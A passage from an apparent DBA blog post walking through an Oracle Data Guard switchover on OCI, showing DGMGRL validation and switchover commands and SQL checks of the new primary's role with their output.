  Protection Mode: MaxPerformance
  Members:
  PWSH01_yyz16x - Primary database
    PWSH01_yyz1k6 - Physical standby database

Fast-Start Failover:  Disabled

Configuration Status:
SUCCESS   (status updated 39 seconds ago)

Validate the database is ready for the switchover

############# Validate 


DGMGRL> edit database PWSH01_yyz1k6 set state='APPLY-ON';
Succeeded.
DGMGRL>
DGMGRL> validate database 'PWSH01_yyz1k6';

  Database Role:     Physical standby database
  Primary Database:  PWSH01_yyz16x

  Ready for Switchover:  Yes
  Ready for Failover:    Yes (Primary Running)

  Managed by Clusterware:
    PWSH01_yyz16x:  YES
    PWSH01_yyz1k6:  YES

  Standby Apply-Related Information:
    Apply State:      Running
    Apply Lag:        2 seconds (computed 0 seconds ago)
    Apply Delay:      0 minutes

DGMGRL>

Switchover 

OCI gives flexibility to switchover database using GUI and command link. As a dba I would prefer on command line and it gives more control.

 

Note: Make sure to run few log switches before the switchover and check standby database is fully synced. If everything looks perfect , perform the switchover. 

Switchover using gui :

commands line :

 
DGMGRL> switchover to 'PWSH01_yyz1k6';
Performing switchover NOW, please wait...
New primary database "PWSH01_yyz1k6" is opening...
Oracle Clusterware is restarting database "PWSH01_yyz16x" ...
Connected to "PWSH01_yyz16x"
Connected to "PWSH01_yyz16x"
Switchover succeeded, new primary is "PWSH01_yyz1k6"
DGMGRL>

Validate database role after the switchover

Once the switchover is successful , verify the database role on new primary
and standby.

SQL> show parameter db_uni

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
db_unique_name                       string      PWSH01_yyz1k6
SQL> select open_mode,database_role from gv$database;

OPEN_MODE            DATABASE_ROLE
-------------------- ----------------
READ WRITE           PRIMARY
READ WRITE           PRIMARY

SQL> set lines 600
SQL> /

INSTANCE_NAME    STATUS       HOST_NAME                                                        STARTUP_TIME
---------------- ------------ ---------------------------------------------------------------- ----------------
PWSH011          OPEN         dbsdpl251                                                        26/11/2021 19:43
PWSH012          OPEN         dbsdpl252                                                        26/11/2021 19:43

SQL>